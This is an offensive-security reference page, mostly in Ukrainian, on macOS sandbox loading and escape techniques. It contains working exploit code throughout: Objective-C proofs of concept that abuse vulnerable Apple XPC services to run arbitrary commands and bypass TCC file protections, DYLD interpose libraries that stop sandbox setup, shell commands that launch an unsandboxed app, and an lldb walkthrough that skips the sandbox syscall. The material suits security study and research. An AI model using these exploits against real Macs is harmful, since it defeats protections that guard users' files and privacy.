macOS Sandbox Debug & Bypass

Reading time: 15 minutes

Sandbox loading process

На попередньому зображенні можна спостерігати як буде завантажено пісочницю при запуску програми з правом com.apple.security.app-sandbox.

Компилятор зв'яже /usr/lib/libSystem.B.dylib з бінарним файлом.

Потім libSystem.B буде викликати кілька інших функцій, поки xpc_pipe_routine не надішле права програми до securityd. Securityd перевіряє, чи процес має бути в карантині всередині пісочниці, і якщо так, то він буде в карантині.
Нарешті, пісочниця буде активована за допомогою виклику __sandbox_ms, який викликатиме __mac_syscall.

Можливі обходи

Обхід атрибута карантину

Файли, створені пісочними процесами, отримують атрибут карантину, щоб запобігти втечі з пісочниці. Однак, якщо вам вдасться створити папку .app без атрибута карантину всередині пісочниці, ви зможете зробити так, щоб бінарний файл пакету програми вказував на /bin/bash і додати деякі змінні середовища в plist, щоб зловживати open для запуску нової програми без пісочниці.

Це було зроблено в CVE-2023-32364.

Зловживання функціональністю Open

У останніх прикладах обходу пісочниці Word можна побачити, як функціональність cli open може бути зловжита для обходу пісочниці.

macOS Office Sandbox Bypasses

Запуск агентів/демонів

Навіть якщо програма призначена для роботи в пісочниці (com.apple.security.app-sandbox), можливо обійти пісочницю, якщо її виконати з LaunchAgent (~/Library/LaunchAgents), наприклад.
Як пояснено в цьому пості, якщо ви хочете отримати стійкість з програмою, яка є пісочною, ви можете зробити так, щоб вона автоматично виконувалася як LaunchAgent і, можливо, інжектувати шкідливий код через змінні середовища DyLib.

Зловживання місцями автозапуску

Якщо пісочний процес може записувати в місце, де пізніше буде запущено бінарний файл без пісочниці, він зможе втекти, просто помістивши туди бінарний файл. Гарним прикладом таких місць є ~/Library/LaunchAgents або /System/Library/LaunchDaemons.

Для цього вам може знадобитися навіть 2 кроки: Зробити процес з більш ліберальною пісочницею (file-read*, file-write*), щоб виконати ваш код, який насправді запише в місце, де він буде виконаний без пісочниці.

Перевірте цю сторінку про місця автозапуску:

macOS Auto Start

Зловживання іншими процесами

Якщо з пісочного процесу ви зможете компрометувати інші процеси, що працюють в менш обмежених пісочницях (або без них), ви зможете втекти в їх пісочниці:

macOS Process Abuse

Доступні системні та користувацькі служби Mach

Пісочниця також дозволяє спілкуватися з певними службами Mach через XPC, визначеними в профілі application.sb. Якщо вам вдасться зловживати однією з цих служб, ви можете бути в змозі втекти з пісочниці.

Як зазначено в цьому звіті, інформація про служби Mach зберігається в /System/Library/xpc/launchd.plist. Можна знайти всі системні та користувацькі служби Mach, шукаючи в цьому файлі <string>System</string> та <string>User</string>.

Більше того, можна перевірити, чи доступна служба Mach для пісочної програми, викликавши bootstrap_look_up:

void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}

void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}

Доступні PID Mach сервіси

Ці Mach сервіси спочатку були зловживані для виходу з пісочниці в цьому звіті. На той час всі XPC сервіси, які вимагалися додатком та його фреймворком, були видимі в домені PID додатка (це Mach сервіси з ServiceType як Application).

Щоб зв'язатися з XPC сервісом домену PID, потрібно просто зареєструвати його всередині додатка за допомогою рядка, такого як:

[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];

Крім того, можна знайти всі Application Mach сервіси, шукаючи в System/Library/xpc/launchd.plist <string>Application</string>.

Інший спосіб знайти дійсні xpc сервіси - перевірити ті, що знаходяться в:

find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"

Кілька прикладів зловживання цією технікою можна знайти в оригінальному описі, однак нижче наведені деякі узагальнені приклади.

/System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc

Ця служба дозволяє кожному XPC з'єднанню, завжди повертаючи YES, а метод runTask:arguments:withReply: виконує довільну команду з довільними параметрами.

Експлуатація була "такою ж простою, як":

@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end

void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];

[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}

/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc

Ця XPC служба дозволяла кожному клієнту завжди повертати YES, а метод createZipAtPath:hourThreshold:withReply: в основному дозволяв вказати шлях до папки для стиснення, і він стисне її у ZIP файл.

Отже, можливо створити фальшиву структуру папок додатка, стиснути її, а потім розпакувати та виконати, щоб вийти з пісочниці, оскільки нові файли не матимуть атрибута карантину.

Експлойт був:

@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");

[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];

[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);

sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}

/System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc

Ця XPC служба дозволяє надати доступ на читання та запис до довільного URL для XPC клієнта через метод extendAccessToURL:completion:, який приймав будь-яке з'єднання. Оскільки XPC служба має FDA, можливо зловживати цими дозволами, щоб повністю обійти TCC.

Експлойт був:

@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];

[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];

void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}

Статичне компілювання та динамічне зв'язування

Це дослідження виявило 2 способи обійти Sandbox. Оскільки sandbox застосовується з userland, коли бібліотека libSystem завантажується. Якщо бінарний файл міг уникнути його завантаження, він ніколи не потрапив би під sandbox:

• Якщо бінарний файл був повністю статично скомпільований, він міг би уникнути завантаження цієї бібліотеки.
• Якщо бінарний файл не потребував би завантаження жодних бібліотек (оскільки лінкер також знаходиться в libSystem), йому не потрібно буде завантажувати libSystem.

Shellcodes

Зверніть увагу, що навіть shellcodes в ARM64 потрібно зв'язувати в libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Не успадковані обмеження

Як пояснено в бонусі цього звіту, обмеження пісочниці, такі як:

(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))

може бути обійдено новим процесом, що виконується, наприклад:

mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app

Однак, звичайно, цей новий процес не успадкує права або привілеї від батьківського процесу.

Права

Зверніть увагу, що навіть якщо деякі дії можуть бути дозволені пісочницею, якщо у програми є конкретне право, як у:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Для отримання додаткової інформації про Interposting перегляньте:

macOS Function Hooking

Interpost _libsecinit_initializer, щоб запобігти пісочниці

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Інтерпост __mac_syscall для запобігання пісочниці

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Налагодження та обхід пісочниці з lldb

Давайте скомпілюємо додаток, який повинен бути в пісочниці:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

Тоді скомпілюйте додаток:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Давайте відлагодимо додаток, щоб побачити, коли завантажується Sandbox:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

[!WARNING] > Навіть з обхідним шляхом Sandbox TCC запитає у користувача, чи хоче він дозволити процесу читати файли з робочого столу

References

• http://newosxbook.com/files/HITSB.pdf
• https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
• https://www.youtube.com/watch?v=mG715HcDgO8